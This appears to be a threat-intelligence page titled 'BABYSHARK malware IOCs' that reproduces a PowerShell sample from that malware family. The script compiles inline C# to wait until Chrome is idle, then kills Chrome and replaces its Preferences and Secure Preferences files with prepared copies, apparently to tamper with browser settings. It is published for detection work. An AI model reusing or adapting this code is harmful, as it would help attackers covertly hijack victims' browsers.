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BABYSHARK malware IOCs
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Add-Type -TypeDefinition "using System; | |
using System.Text; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Windows.Forms; | |
namespace g1 | |
{ | |
public static class P1 | |
{ | |
public static void M1() | |
{ | |
int times = 0; | |
while(1==1) | |
{ | |
Sleep(10); | |
IntPtr hWnd = IntPtr.Zero; | |
hWnd = GetForegroundWindow(); | |
if (hWnd == IntPtr.Zero) | |
{ | |
continue; | |
} | |
uint PID; | |
GetWindowThreadProcessId(hWnd,out PID); | |
Process pp = Process.GetProcessById((int)PID); | |
string processpath=pp.ProcessName; | |
if(processpath != ""chrome"") | |
{ | |
Sleep(1000); | |
times ++; | |
} | |
else | |
{ | |
times = 0; | |
} | |
if(times > 120) | |
{ | |
break; | |
} | |
} | |
} | |
[DllImport(""user32.dll"")]static extern bool ShowWindow(IntPtr hW,int nC); | |
[DllImport(""kernel32"")]public static extern void Sleep(uint dM); | |
[DllImport(""User32.dll"")]public static extern int FindWindow(string sC,string sW); | |
[DllImport(""user32.dll"", CharSet = CharSet.Auto)]public static extern int GetWindowText(IntPtr hWnd, StringBuilder title, int size); | |
[DllImport(""user32.dll"")]public static extern IntPtr GetForegroundWindow(); | |
[DllImport(""user32.dll"", SetLastError = true, CharSet = CharSet.Auto)]public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); | |
[DllImport(""user32.dll"")]public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); | |
[DllImport(""user32.dll"")]public static extern bool PostMessage(IntPtr WindowHandle, int Msg, IntPtr wParam, IntPtr lParam); | |
} | |
} | |
" -ReferencedAssemblies System.Windows.Forms; | |
[g1.P1]::M1(); | |
taskkill /im chrome.exe /f; | |
timeout 5 | |
del "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences" | |
del "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences" | |
copy "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences1" "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences"; | |
copy "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences1" "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences"; | |
ren "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences1" Preferences4; | |
ren "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences1" "Secure Preferences4"; |
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